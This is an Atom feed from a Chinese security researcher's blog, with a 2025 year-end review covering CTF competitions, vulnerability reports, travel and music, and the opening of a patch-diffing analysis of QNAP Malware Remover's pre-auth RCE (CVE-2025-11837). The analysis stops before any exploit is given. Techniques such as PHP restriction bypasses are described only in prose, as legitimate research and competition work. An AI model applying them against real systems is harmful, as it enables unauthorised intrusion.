<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>Hans362 &#39;s Blog</title>
  
  <subtitle>不以物喜，不以己悲</subtitle>
  <link href="https://blog.hans362.cn/atom.xml" rel="self"/>
  
  <link href="https://blog.hans362.cn/"/>
  <updated>2025-12-31T14:36:17.815Z</updated>
  <id>https://blog.hans362.cn/</id>
  
  <author>
    <name>Hans362</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>2025年终总结</title>
    <link href="https://blog.hans362.cn/post/2025-annual-report/"/>
    <id>https://blog.hans362.cn/post/2025-annual-report/</id>
    <published>2025-12-31T15:59:59.000Z</published>
    <updated>2025-12-31T14:36:17.815Z</updated>
    
    <content type="html"><![CDATA[<html><head><link rel="stylesheet" class="aplayer-secondary-style-marker" href="https://blog.hans362.cn/npm/APlayer@fix-smoothscroll/dist/APlayer.min.css"><script src="https://blog.hans362.cn/npm/APlayer@fix-smoothscroll/dist/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script>var meting_api='https://api-v2.hans362.cn/vip/?server=:server&type=:type&id=:id&r=:r'</script><script class="meting-secondary-script-marker" src="/js/Meting.min.js"></script></head><body><p>哎呀呀，转眼又是一年的最后一天了，今年毫不意外地又咕咕咕了一整年，那么就按照惯例写一篇流水账给博客除除草，总结一下即将过去的 2025 年吧！</p><p><img src="https://hans362-img.oss.0vv0.top/2025/12/31/c37e9aba0423471a4443ceea69cdf09d.jpg" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2025/12/31/c37e9aba0423471a4443ceea69cdf09d.jpg" srcset="/loading.gif" alt=""></p><span id="more"></span><h2 id="回顾-2025"><a class="markdownIt-Anchor" href="#回顾-2025"></a> 回顾 2025</h2><h3 id="学业"><a class="markdownIt-Anchor" href="#学业"></a> 学业</h3><p>时间真的好快呀，不知不觉就已经大四了，本科生活也进入了倒计时阶段。</p><p>上半年顺利修完了推免前所需的全部课程，看了眼排名拿到推免资格应该是没问题了，剩下的就是找接收单位，首选肯定还是本校网安直硕。不过今年的保研之路可谓是一波三折，先是陆续有院校宣布取消夏令营，搞得一时风声四起、人心惶惶，甚至有传言说 SJTU 也要取消，好在夏令营通知最终还是发出来了，但整体进程比往年晚了一大截。接着由于今年是电院解体后的第一年夏令营，网安属于计算机学院了，谁也不知道夏令营会怎么搞，好在最后说还是会延续往年的形式。</p><p>六月份考完期末后就开始准备夏令营。虽说是本校，但感觉 SJTU 对本校学生并没有多少优待（至少在笔试上），优营是超发的，最后还是要按排名择优录取，每年本校翻车的也不少。网安这边是笔试（数学+专业课）和面试，考虑到面试应该没多大问题就重点准备笔试了。数学据说去年考的全是线性代数，往年还考了概统，然而这俩都是大一/大二学的，早就忘得差不多了，不得不翻出教材试图唤醒记忆，结合 B 站上的一些速通网课花了一周时间总算捡起来了，至少基本概念和常考的题型会做就行。至于专业课，据说考的内容很杂，本科上过的专业课都可能涉及，<s>臭名昭著的</s>网安法肯定会有，然而这玩意我实在是不想刻意去背，只好翻出 PPT 过了一遍混个眼熟。到了夏令营的前一天晚上，我鬼使神差地打开知乎搜到了之前某一年题目的回忆版，发现数学部分竟然还考了离散数学的归结推理、信息论的哈夫曼编码、信安数基的扩欧求逆，心想坏了现在复习这几门肯定来不及了，那就先把这几个知识点以及相关的知识点看一看吧。结果第二天笔试的时候，看到数学部分差点没绷住，扩欧求逆、哈夫曼编码、归结推理三道大题全考了，外加一道线代一道概统，简直神了！专业课部分感觉其实考的都是一些常识性的东西（比如什么是“零信任”），如果真的对安全感兴趣的话平时或多或少都接触过、有一些自己的理解，真没必要刻意去背诵。面试的话感觉挺轻松的，就聊聊天啥的，没什么压力，难绷的是英语考察环节竟然是用中文问了我一个问题，让我用英语回答一下就行，甚至不能称之为对话😂。最后本校夏令营就这么结束了，八月初查到排名非常靠前，学硕稳了，至此保研终于告一段落。本来还打算多投几个学校的，结果到最后就去了本校，出排名的那天复旦刚给我发了入营通知，于是爽快地拒绝了 hhhh（不过据说去年 SJTU 去了也是全军覆没）。</p><p><img src="https://hans362-img.oss.0vv0.top/2025/12/31/38872a1432006dc4fe4d9dfdb68e9fbe.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2025/12/31/38872a1432006dc4fe4d9dfdb68e9fbe.png" srcset="/loading.gif" alt=""></p><p>九月份开学后就是确认推免资格、走系统填报流程，尘埃落定。</p><p><img src="https://hans362-img.oss.0vv0.top/2025/12/31/0d0fed6bfbf90297f92e28d937eff200.jpg" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2025/12/31/0d0fed6bfbf90297f92e28d937eff200.jpg" srcset="/loading.gif" alt=""></p><p>大四上还有最后的三门课要修读，不过感觉挺水的，甚至有两门课的内容高度相似（栈溢出、格式化字符串），并且都没有考试，可以说是本科最空闲的一学期了。十二月的时候终于把 SJTU 毕业要求的游泳考试考过了。从小到大我有无数次学游泳的失败经历，已经给我整出心理阴影，今年上半年想着不能再拖了不然毕不了业啊，于是鼓起勇气选了个 8 周的体育（5）游泳课。虽然刚开始依旧很害怕，但慢慢地竟然适应了飘在水里的感觉，最后课上完虽然还不能连贯地游起来，但感觉自己已经进步很大了。下半年又自己练了大概十次，总算是能够连贯地游 50 米了，最后顺利通过了考试，离毕业又近了一步。</p><h3 id="hacking-coding"><a class="markdownIt-Anchor" href="#hacking-coding"></a> Hacking &amp; Coding</h3><p>又是在 Ph0t1n1a / 0ops 继续打 CTF 以及 HVV 的一年，学业上总算没那么忙了，有更多的时间投入到比赛中，感觉 CTF 这东西真是越打越上瘾。除了打比赛之外，也继续给校赛出了 2 道 Web 题，还给 0CTF 出了 <a href="https://github.com/hans362/my-ctf-challenges/tree/master/0ctf-2025">2 道 Web 题和 1 道 Misc 题</a>，看到大家对于题目质量的认可挺开心的，甚至 r3 还直接拿 PHP 0day 来打我出的 ezupload。</p><p><img src="https://hans362-img.oss.0vv0.top/2025/12/31/0034b8451cb92339aa96581eefeced57.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2025/12/31/0034b8451cb92339aa96581eefeced57.png" srcset="/loading.gif" alt=""></p><p>今年是 AI 崛起的一年，各种大模型层出不穷（谁能想到 DeepSeek 竟然是今年的事情），CTF 这边也受到了不小的冲击，至少 Web 方向中等及以下难度的题，试过 Claude Sonnet 4.5、Gemini 3 Pro 基本都能够秒杀，这对出题人以及选手来说都是新的挑战。给校赛出题时就发现，入门/简单难度的题目基本没法出，直接就被大模型秒了，这可能也是为什么 0CTF 2025 的 Web 题目难度普遍偏高的原因吧。在今年的 XCTF Final 中发现，AWD 赛制下大模型可以迅速发现代码中的明显漏洞，自动完成 EXP 编写和漏洞修补，从而抢占先机、尽早获得靶机的修补权限。可以预见的是，未来高质量的 CTF 比赛应该会越来越偏向于高难度、综合性的题目，鼓励大模型辅助选手分析，但避免大模型能够独立解出题目。至于某些禁止选手使用大模型的比赛么（知道我在说谁对吧）……那就见仁见智了吧。</p><p>今年在漏洞挖掘上也算是有些成果，虽然比较失败。10 月<a href="https://github.com/Meloong-Git/PCL/security/advisories/GHSA-gp33-rfmf-5f38">给某 Minecraft 启动器报了个洞</a>，作者一开始甚至认为这不是漏洞。11 月底的时候给某 NAS 厂商报了 2 个 RCE（当然不是 PreAuth），不过他们的 PSIRT 至今未回应（猜猜明年会不会回应呢？）。12 月初的时候 React Server Components 出了一个核弹级的 RCE 漏洞，在研究的过程中我无意间发现了一个新的 DoS 漏洞（后来的 CVE-2025-55184），这个漏洞对于 Vercel 这种按 CPU 时间计费的 Serverless 平台来说影响还挺大的，我成功把自己的 Vercel 账号给打欠费了😂，这也是为什么我现在用着 Cloudflare Pages。</p><p><img src="https://hans362-img.oss.0vv0.top/2025/12/31/33176af80626ddaed272945e9ff77e71.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2025/12/31/33176af80626ddaed272945e9ff77e71.png" srcset="/loading.gif" alt=""></p><p>发现漏洞后我报告给了 React 团队，不过他们一直没有回应，直到 12 月 11 日 CVE-2025-55184 披露，才发现原来已经被别人抢先了，还是动作太慢晚了一步。</p><p><img src="https://hans362-img.oss.0vv0.top/2025/12/31/b02c9fa9381e5aa514b9c72e637ecf08.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2025/12/31/b02c9fa9381e5aa514b9c72e637ecf08.png" srcset="/loading.gif" alt=""></p><p>开源贡献方面，GitHub 小绿墙比去年又好了一点，不过依旧很多其实是课程大作业。其他主要就是稍微参与了一下社团自主研发的 Minecraft 启动器 <a href="https://mc.sjtu.cn/sjmcl">SJMCL</a> 的开发，写了一些 Web API 以及审了一些安全相关的 PR，欢迎大家来尝鲜以及提 Issue！</p><p><img src="https://hans362-img.oss.0vv0.top/2025/12/31/3334a664db2fc9d49d5ce40c17753719.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2025/12/31/3334a664db2fc9d49d5ce40c17753719.png" srcset="/loading.gif" alt=""></p><h3 id="博客"><a class="markdownIt-Anchor" href="#博客"></a> 博客</h3><p>博客 8 周年啦！来看看今年的统计数据吧！</p><p><img src="https://hans362-img.oss.0vv0.top/2025/12/31/f585528f1ebd2c0c75c6108e506cc540.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2025/12/31/f585528f1ebd2c0c75c6108e506cc540.png" srcset="/loading.gif" alt=""></p><p>今年 Hans362 's Blog 收获 3.58k 位独立访客 5.52k 次浏览，平均访问时间 36s。</p><p><img src="https://hans362-img.oss.0vv0.top/2025/12/31/8e2176f50c4ae91717eeb474b45ca7a4.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2025/12/31/8e2176f50c4ae91717eeb474b45ca7a4.png" srcset="/loading.gif" alt=""></p><p>今年发布了 2 篇文章，数量竟然和去年持平，猜猜明年会怎么样呢？<s>（你还记得你去年说了啥，怎么回事呢）</s> 要是还有你没读过的，不妨去看看吧。</p><p>访客们都喜欢用什么浏览器/OS/设备呢？</p><details><summary>揭晓答案</summary><p><img src="https://hans362-img.oss.0vv0.top/2025/12/31/91adbc9cc6dcff56b66783f1d3d558f4.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2025/12/31/91adbc9cc6dcff56b66783f1d3d558f4.png" srcset="/loading.gif" alt=""></p><p><img src="https://hans362-img.oss.0vv0.top/2025/12/31/5893e23e6be2a82981fbf9a02b78c28d.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2025/12/31/5893e23e6be2a82981fbf9a02b78c28d.png" srcset="/loading.gif" alt=""></p><p><img src="https://hans362-img.oss.0vv0.top/2025/12/31/1ec838b3ecf4e245233585441391b325.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2025/12/31/1ec838b3ecf4e245233585441391b325.png" srcset="/loading.gif" alt=""></p></details><p>访客们都来自哪些国家/<strong>地区</strong><s>用哪里的魔法节点</s>呢？</p><details><summary>揭晓答案</summary><p><img src="https://hans362-img.oss.0vv0.top/2025/12/31/c9cf349025f9e36343409b56f90e6e9f.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2025/12/31/c9cf349025f9e36343409b56f90e6e9f.png" srcset="/loading.gif" alt=""></p></details><p>今年点击量排名前 5 的文章是哪几篇呢？</p><details><summary>揭晓答案</summary><p><img src="https://hans362-img.oss.0vv0.top/2025/12/31/a6dbfc053f91e8881530290b92f3ed79.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2025/12/31/a6dbfc053f91e8881530290b92f3ed79.png" srcset="/loading.gif" alt=""></p></details><p>今年的访客都是从哪里发现本站的呢？</p><details><summary>揭晓答案</summary><p><img src="https://hans362-img.oss.0vv0.top/2025/12/31/f6315f85cb3f54748b8d0a6856374c1c.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2025/12/31/f6315f85cb3f54748b8d0a6856374c1c.png" srcset="/loading.gif" alt=""></p></details><p>今年博客没有评论。</p><h3 id="足迹"><a class="markdownIt-Anchor" href="#足迹"></a> 足迹</h3><p>除了过年/中秋回老家，今年借着出差/比赛/旅游的机会，又去了不少地方，就按时间回顾一下吧。</p><h4 id="3-月杭州"><a class="markdownIt-Anchor" href="#3-月杭州"></a> 3 月：杭州</h4><p>去了杭电参加 CISCN &amp; CCB 浙江赛区半决赛，感谢队友带飞，拿了第一名顺利晋级 CISCN 以及 CCB 全国总决赛。</p><p><img src="https://hans362-img.oss.0vv0.top/2025/12/31/d737f1053afa1175c7e2155a5d688c97.jpg" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2025/12/31/d737f1053afa1175c7e2155a5d688c97.jpg" srcset="/loading.gif" alt=""></p><h4 id="4-月福州"><a class="markdownIt-Anchor" href="#4-月福州"></a> 4 月：福州</h4><p>去数字中国峰会参加 CCB 全国总决赛，不得不说 CCB 真是太喜欢出谜语题了，一个不能列目录的 LFI 竟然让我猜 Flag 在哪，猜了半天最后发现 Flag 在 <code>/flag.txt</code>，真是服了，最后喜提二等奖。</p><p><img src="https://hans362-img.oss.0vv0.top/2025/12/31/6c1bf3c6c10a5e34dfc14fdc200d12fe.jpg" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2025/12/31/6c1bf3c6c10a5e34dfc14fdc200d12fe.jpg" srcset="/loading.gif" alt=""></p><p><img src="https://hans362-img.oss.0vv0.top/2025/12/31/dabeeece6a8c06685ab833a8a781329c.jpg" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2025/12/31/dabeeece6a8c06685ab833a8a781329c.jpg" srcset="/loading.gif" alt=""></p><h4 id="7-月郑州"><a class="markdownIt-Anchor" href="#7-月郑州"></a> 7 月：郑州</h4><p>去参加 CISCN 决赛。领取物料看到衣服上贴着亲子装没绷住。</p><p><img src="https://hans362-img.oss.0vv0.top/2025/12/31/98339aa3f9784b4d1306d5020de86342.jpg" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2025/12/31/98339aa3f9784b4d1306d5020de86342.jpg" srcset="/loading.gif" alt=""></p><p>今年国赛 Build 环节没啥好说的，一年不如一年了，今年是纯纯给永信至诚打黑工，我们全部丢给 AI 去做了，正好阿里云有一堆额度没用完，直接批量推理搞定，最后分数也还不错。这次综合渗透排名意外挺靠前的，可能是因为题目难度确实大，很多队伍基本就打了入口，我拿下了仅有 2 解的 Windows Apache CGI 利用，最后渗透单项应该是排名第二。队友也很给力，归一化后的综合排名还可以，拿到了靶场单项奖以及一等奖，算是弥补了去年的遗憾。</p><p><img src="https://hans362-img.oss.0vv0.top/2025/12/31/1b5c6c8573e86389043902ed770bbdc7.jpg" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2025/12/31/1b5c6c8573e86389043902ed770bbdc7.jpg" srcset="/loading.gif" alt=""></p><p>值得一提的是，比赛所在的中国网络安全科技馆还是有点意思的，有很多有趣的互动装置，比如一个酒店房间里装了几十个针孔摄像头，可以挑战一下找出它们的位置，再比如伪造来电显示。当然也有些装置就和网络安全没什么关系了😂，纯粹是给小孩子玩的，总的来说科普教育意义比较大，如果在附近并且对网络安全有兴趣的话可以来看看。</p><p><img src="https://hans362-img.oss.0vv0.top/2025/12/31/98a5837196ec0ef72ad199d6f45db4f2.jpg" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2025/12/31/98a5837196ec0ef72ad199d6f45db4f2.jpg" srcset="/loading.gif" alt=""></p><h4 id="8-月威海"><a class="markdownIt-Anchor" href="#8-月威海"></a> 8 月：威海</h4><p>依然是 8 月底错峰旅游，和家人去了威海。景色很不错，不过感觉海鲜真的不太行，不如南方的好吃，好在威海有很多韩料，价格也算实惠，可以爽吃。</p><p><img src="https://hans362-img.oss.0vv0.top/2025/12/31/76f6e1561a147c20363a6cd5ea7b6395.jpg" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2025/12/31/76f6e1561a147c20363a6cd5ea7b6395.jpg" srcset="/loading.gif" alt=""></p><p><img src="https://hans362-img.oss.0vv0.top/2025/12/31/0373da061eee64370742ad868f412686.jpg" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2025/12/31/0373da061eee64370742ad868f412686.jpg" srcset="/loading.gif" alt=""></p><p><img src="https://hans362-img.oss.0vv0.top/2025/12/31/8f9863da55e566f419d366fb8201706b.jpg" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2025/12/31/8f9863da55e566f419d366fb8201706b.jpg" srcset="/loading.gif" alt=""></p><p><img src="https://hans362-img.oss.0vv0.top/2025/12/31/7c5aa556c36a215a1f4e5ce656f8490d.jpg" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2025/12/31/7c5aa556c36a215a1f4e5ce656f8490d.jpg" srcset="/loading.gif" alt=""></p><h4 id="9-月深圳"><a class="markdownIt-Anchor" href="#9-月深圳"></a> 9 月：深圳</h4><p>刚开学没啥事，正好腾讯云黑客松学校 Agent 赛道队伍缺人，就去参加了一下，腾讯包交通和吃住，有奖金拿，还是很香的。比赛场地在深圳腾讯滨海大厦，真的好高，电梯在呼叫时就需要选择要去的楼层。Agent 赛道的要求是使用腾讯云智能体开发平台，在两天时间内搭建一个和心理健康相关的应用，最后一天在腾讯全球数字生态大会上路演。</p><p><img src="https://hans362-img.oss.0vv0.top/2025/12/31/26754de88ac57fe1bd8f35f773b8aa9e.jpg" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2025/12/31/26754de88ac57fe1bd8f35f773b8aa9e.jpg" srcset="/loading.gif" alt=""></p><p>不得不吐槽一下这种图形化的、组件拖拽连线的智能体开发平台（不单单是腾讯的），对于没有编程经验的用户来说可能很直观、容易上手，但对于有编程经验的人来说实现一些比较复杂的逻辑就会很折磨，甚至不得不大量使用 Python 代码节点来完成一些本应该很容易的事情。两天时间紧赶慢赶终于把应用做出来了，最后路演表现也还不错，拿到了二等奖。</p><p>路演结束后顺便在腾讯全球数字生态大会上逛了逛，集章领了很多周边。</p><p><img src="https://hans362-img.oss.0vv0.top/2025/12/31/706d6d86b323b2fdff6d383a4fb668b9.jpg" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2025/12/31/706d6d86b323b2fdff6d383a4fb668b9.jpg" srcset="/loading.gif" alt=""></p><p>在大模型安全展区看到了之前不知道谁留下的 XSS 测试记录，模型竟然也没回复，工作人员解释说为了防止出事，模型的回复都是提前预设好的🤣。</p><p><img src="https://hans362-img.oss.0vv0.top/2025/12/31/8b61d4b7fb647457832a2db9c6d5bcc4.jpg" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2025/12/31/8b61d4b7fb647457832a2db9c6d5bcc4.jpg" srcset="/loading.gif" alt=""></p><h4 id="10-月宁波"><a class="markdownIt-Anchor" href="#10-月宁波"></a> 10 月：宁波</h4><p>去打了 XCTF 线下决赛。</p><p>第一天解题+RW，Web 这边一道题直接用 AI 秒了，还有一道比较简单也很快做出来了，只有那道 PHP disable_functions 绕过卡了我一下午，期间还走了不少弯路（不过也不一定是坏事，谁能想到第二天 AWD 就用上了）。最后是队友发现可以用 Codegate 2025 gravelbox 的思路（一个 PHP 0day，似乎至今未修复）绕过 open_basedir 列目录读取 Flag，赛后才知道这道题别的队伍是用 curl 扩展加载 so 以及 PDO sqlite 加载 so 做的，也是学到了。第一天结束时是位居第一，不过 RW 题目能过夜，第二天被别的队伍赶超了。</p><p>第二天是 AWD 赛制，但没传统 AWD 那么混乱，只能提交修补包，不能访问自己的服务，平台会 check 以及部署修补包，流量以及补丁会延迟几轮公开。上来两道 Web 题我都用 AI 快速帮我找了个洞，获得了修补权限。然后就是不停地挖新洞、打&amp;修，Web 这边感觉打到后面变成了大举办，挖不出新洞就都在举报别人通防/过度修补😂，比如有个后门我直接给干掉了，结果裁判过来说我上通防，后来才知道意思是要把后门留着，把能触发后门的条件给修了，也是挺无语的。总之就是到了比赛结束前两小时，Web 这边的分数感觉不怎么变化了，该打的都打了，该修的也都修了。就在这时我突然想到了第一天 PHP 那题走的弯路，利用 .htaccess 可以读文件啊，于是赶紧写 EXP 开始疯狂收割，要不是这个洞自己之前无意间修掉了，还能多收割几轮。PWN 那边队友也非常给力，即使比赛平台的 Bug 导致我们少了几万分，依然遥遥领先，大家都太厉害了。最后拿了冠军，也是 0ops XCTF 首冠。</p><p><img src="https://hans362-img.oss.0vv0.top/2025/12/31/85d78665a35248143abb7707bd315bf4.jpg" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2025/12/31/85d78665a35248143abb7707bd315bf4.jpg" srcset="/loading.gif" alt=""></p><h4 id="12-月北京"><a class="markdownIt-Anchor" href="#12-月北京"></a> 12 月：北京</h4><p>上一次去北京似乎还是小学的时候。这次被拉去某个比赛凑数，因为恰好后面还有事情也没有时间玩了，匆匆去匆匆回。尝了下庆丰包子，感觉一般般？🥶和平时吃的似乎也没啥不同。另外就是发现东航的空中快线现在可以全程免费用 Wi-Fi 基础版，路上的时间刷刷水源很快就过去了。</p><h3 id="音乐"><a class="markdownIt-Anchor" href="#音乐"></a> 音乐</h3><p>来看看今年的听歌报告吧！</p><p><img src="https://hans362-img.oss.0vv0.top/2025/12/31/a04eac3dca4bc7485342b989307758ae.jpg" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2025/12/31/a04eac3dca4bc7485342b989307758ae.jpg" srcset="/loading.gif" alt=""></p><p><img src="https://hans362-img.oss.0vv0.top/2025/12/31/c11a709536b4a8c6c72c07a4aad9b93a.jpg" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2025/12/31/c11a709536b4a8c6c72c07a4aad9b93a.jpg" srcset="/loading.gif" alt=""></p><p><img src="https://hans362-img.oss.0vv0.top/2025/12/31/2fd1ff2acd824f0db5e719ad87b8f324.jpg" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2025/12/31/2fd1ff2acd824f0db5e719ad87b8f324.jpg" srcset="/loading.gif" alt=""></p><p>没想到年度歌手变成羊文学了，ChiliChill 今年只能排第二啦。最初是因为买了索尼的耳机，在附带的 360 Reality Audio Live 的典型内容中发现了羊文学，一听就喜欢上了，尤其是很多歌里面的音墙听着特别爽。</p><h2 id="展望-2026"><a class="markdownIt-Anchor" href="#展望-2026"></a> 展望 2026</h2><p>呼，马上要 2026 啦！回看去年定下的小目标，除了博客没怎么更新之外，似乎基本都实现了！那么就再定一批小目标，希望 2026 年：</p><ul><li>顺利毕业 &amp; 续费 2.5 年</li><li>去更多的地方玩玩玩（最好能出一次国）</li><li>听一场 Livehouse</li><li>保持博客更新，经常来除除草（今年又双叒叕继续颓废了一年）</li><li>在成为<s>大黑客</s>的路上继续努力</li><li>身体健康，平安快乐</li></ul><p>最后感谢读到这的你，新年快乐哟🥳，祝你的 2026 年一切如愿、更加精彩！</p></body></html>]]></content>
    
    
    <summary type="html">&lt;p&gt;哎呀呀，转眼又是一年的最后一天了，今年毫不意外地又咕咕咕了一整年，那么就按照惯例写一篇流水账给博客除除草，总结一下即将过去的 2025 年吧！&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://hans362-img.oss.0vv0.top/2025/12/31/c37e9aba0423471a4443ceea69cdf09d.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;</summary>
    
    
    
    <category term="杂文" scheme="https://blog.hans362.cn/categories/%E6%9D%82%E6%96%87/"/>
    
    
    <category term="年终总结" scheme="https://blog.hans362.cn/tags/%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93/"/>
    
  </entry>
  
  <entry>
    <title>CVE-2025-11837 (QSA-25-47) 分析与复现</title>
    <link href="https://blog.hans362.cn/post/cve-2025-11837-analysis/"/>
    <id>https://blog.hans362.cn/post/cve-2025-11837-analysis/</id>
    <published>2025-11-29T12:32:00.000Z</published>
    <updated>2025-12-31T14:36:17.818Z</updated>
    
    <content type="html"><![CDATA[<html><head><link rel="stylesheet" class="aplayer-secondary-style-marker" href="https://blog.hans362.cn/npm/APlayer@fix-smoothscroll/dist/APlayer.min.css"><script src="https://blog.hans362.cn/npm/APlayer@fix-smoothscroll/dist/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script>var meting_api='https://api-v2.hans362.cn/vip/?server=:server&type=:type&id=:id&r=:r'</script><script class="meting-secondary-script-marker" src="/js/Meting.min.js"></script></head><body><p>在前不久的 PWN2OWN 2025 大赛上，QNAP Malware Remover 被曝出存在一个严重的 PreAuth RCE 漏洞，编号 CVE-2025-11837 (<a href="https://www.qnap.com/en/security-advisory/qsa-25-47">QSA-25-47</a>)。作为 QNAP NAS 系统（QTS、QuTS hero、QuTScloud）的预置软件，这个漏洞的影响范围可以说是非常广泛，应该有不少人已经做了相关研究，不过网上似乎目前还没有关于漏洞细节的分析。正好前段时间 QWB 的一道 RW 题就是考察的这个漏洞，为了解题做了一些分析和研究，就顺便水一篇文章吧。</p><span id="more"></span><p>顺带一提，QWB 那道题目用的 QuTScloud 系统版本有点低，似乎可以用之前的一个其他组件的漏洞去打，不知道有多少队伍是非预期解。估计是因为 QuTScloud 的授权比较难搞，网上能查到的授权方法只适用于低版本的 QuTScloud。不过我后面又做了一些研究，已经搞定了最新版 QuTScloud 5.2.0 的授权，后续大概或许有空会再写一篇文章分享出来。</p><h2 id="漏洞分析"><a class="markdownIt-Anchor" href="#漏洞分析"></a> 漏洞分析</h2><p>对于这种已经有补丁的漏洞，对比补丁前后的代码无疑是最好的思路。旧版本解包后的内容可以在 QWB 给的题目环境的 <code>/share/CACHEDEV1_DATA/.qpkg/MalwareRemover</code> 目录下找到。</p><p><img src="https://hans362-img.oss.0vv0.top/2025/11/29/2254fad8e2b90c17d1edb9edf6a88dc1.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2025/11/29/2254fad8e2b90c17d1edb9edf6a88dc1.png" srcset="/loading.gif" alt=""></p><p>至于最新版其实不必联网安装后再提取（联网还可能导致授权失效），可以直接从 <a href="https://www.qnap.com.cn/zh-cn/app-center/">QNAP 官方网站</a>下载最新的 QPKG 格式的安装包，然后使用 <code>binwalk -e</code> 进行解包，根据 <code>binwalk</code> 报告的文件类型再对 <code>binwalk</code> 的提取结果使用 TAR / GZIP 进一步解包。</p><p>解包后可以看到，Malware Remover 主要的代码集中在 <code>modules</code> 目录，全是编译好的 <code>pyc</code> 文件，此外还有 <code>MalwareRemover_exec</code>、<code>MalwareRemover_scan</code>、<code>www/malware_remover.cgi</code> 等二进制程序。</p><p><img src="https://hans362-img.oss.0vv0.top/2025/11/29/8f68edbc1f99015c146855b289dae922.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2025/11/29/8f68edbc1f99015c146855b289dae922.png" srcset="/loading.gif" alt=""></p><p>作为 Web 手自然不是很想去看二进制，于是决定先看看那堆 <code>pyc</code> 文件。用 <code>uncompyle6</code> 反编译后，对比补丁前后的 Python 代码，结果发现除了编译日期不同外，没有任何区别。</p><p>看来还是得看看二进制程序了。由于漏洞描述中提到攻击者可以远程利用，那看来应该位于 CGI 程序 <code>www/malware_remover.cgi</code> 中。通过 IDA Pro 结合 BinDiff 对比分析补丁前后的 <code>malware_remover.cgi</code>，发现相似度几乎为 100%，只有 <code>main</code> 函数的相似度为 97%。</p><p><img src="https://hans362-img.oss.0vv0.top/2025/11/29/b624514ef14aab77f4bd103f398530da.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2025/11/29/b624514ef14aab77f4bd103f398530da.png" srcset="/loading.gif" alt=""></p><p>分析范围缩小至 <code>main</code> 函数后，很快就发现了区别。补丁后的代码中多了一段检查，要求某个字符串必须是纯英文字母或数字，否则直接返回 401 未授权错误。</p><p><img src="https://hans362-img.oss.0vv0.top/2025/11/29/988864107bb6a48d1aa0678ad7d32ead.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2025/11/29/988864107bb6a48d1aa0678ad7d32ead.png" srcset="/loading.gif" alt=""></p><p>进一步跟踪发现，这个字符串实则取自用户请求的 Cookie 头中，这表明这个字符串应该是和认证相关的。</p><p><img src="https://hans362-img.oss.0vv0.top/2025/11/29/0e2c9a61dcc5efd98b2e30573f5cb146.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2025/11/29/0e2c9a61dcc5efd98b2e30573f5cb146.png" srcset="/loading.gif" alt=""></p><p><img src="https://hans362-img.oss.0vv0.top/2025/11/29/4985cbd8841b506223fa7376c012579f.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2025/11/29/4985cbd8841b506223fa7376c012579f.png" srcset="/loading.gif" alt=""></p><p>从反编译的结果来看，这个字符串对应的 Cookie 名称存储在 <code>off_219660</code> 数组中，然而跟过去一看傻眼了，这都是些啥？？？</p><p><img src="https://hans362-img.oss.0vv0.top/2025/11/29/13f651ffd6cedb2c2eed0f71e31b2c7f.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2025/11/29/13f651ffd6cedb2c2eed0f71e31b2c7f.png" srcset="/loading.gif" alt=""></p><p><img src="https://hans362-img.oss.0vv0.top/2025/11/29/81ce9e04127e2462f7521fe60d212228.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2025/11/29/81ce9e04127e2462f7521fe60d212228.png" srcset="/loading.gif" alt=""></p><p><img src="https://hans362-img.oss.0vv0.top/2025/11/29/a43a316c9a1fdc72a2ba76cf59f8a0b6.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2025/11/29/a43a316c9a1fdc72a2ba76cf59f8a0b6.png" srcset="/loading.gif" alt=""></p><p><img src="https://hans362-img.oss.0vv0.top/2025/11/29/98c10d9eaceb008416a42b8556428f86.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2025/11/29/98c10d9eaceb008416a42b8556428f86.png" srcset="/loading.gif" alt=""></p><p><img src="https://hans362-img.oss.0vv0.top/2025/11/29/4b33832707890fd73acb4052d54b75af.png" class="lazy" 